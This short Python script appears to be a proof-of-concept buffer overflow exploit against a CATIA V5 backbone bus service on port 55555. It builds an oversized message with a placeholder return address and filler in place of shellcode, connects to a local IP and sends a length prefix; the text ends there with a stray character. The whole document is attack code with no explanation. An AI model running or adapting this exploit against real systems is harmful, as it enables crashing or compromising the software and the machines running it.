import socket
import struct
import ctypes
RetAdd = "\x90\x90\x90\x90"
Shell = "A" * 1000
buff = "\x00\x00\x00\x00" + "A" * 20 + "AppToBusInitMsg" + "\x00" + "A" * 48 + "CATV5_Backbone_Bus" + "\x00" + "B" * 49 + "\x00\x00\x00\x00" + "c" * 408 + RetAdd + "c" * 357 + Shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(( "192.168.0.4" , 55555 ))
s.send(struct.pack( '>I' , len (buff) ))
|